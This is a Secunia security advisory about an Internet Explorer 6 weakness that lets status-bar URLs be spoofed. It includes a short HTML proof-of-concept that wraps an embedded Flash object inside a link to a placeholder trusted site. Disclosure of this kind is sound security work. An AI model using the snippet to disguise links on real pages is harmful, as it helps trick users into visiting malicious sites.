Secunia

Roozbeh Afrasiabi has discovered a weakness in Internet Explorer, which can be exploited by malicious people to trick users into visiting a malicious website by obfuscating URLs displayed in the status bar.

This weakness is a variant of:
SA13015

Example:
<A HREF=http://[trusted_site] >
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0"
WIDTH="300" HEIGHT="50" id="link" ALIGN="">
<param NAME=movie VALUE="[malicous_flash]">
<param NAME=quality VALUE=high >
<param NAME=bgcolor VALUE=#FFFFFF>
<param NAME=menu VALU=FALSE>
<embed src="[malicious_flash]" quality=high bgcolor=#FFFFFF WIDTH="300" HEIGHT="50" NAME="link" ALIGN=""
TYPE="application/x-shockwave-flash" PLUGINSPAGE="http://www.macromedia.com/go/getflashplayer">
</embed>

The problem has been confirmed in version 6.0 on a system running Windows XP with SP2 installed. Other versions may also be affected.

It is also possible to use an embedded Excel spreadsheet, as demonstrated by http-equiv.

Solution
Never follow links from untrusted sources.
Further details available in Customer Area

Provided and/or discovered by
Discovered by:
Roozbeh Afrasiabi

Further information provided by:
http-equiv

Changelog
Further details available in Customer Area

Other references
Further details available in Customer Area

Deep Links
Links available in Customer Area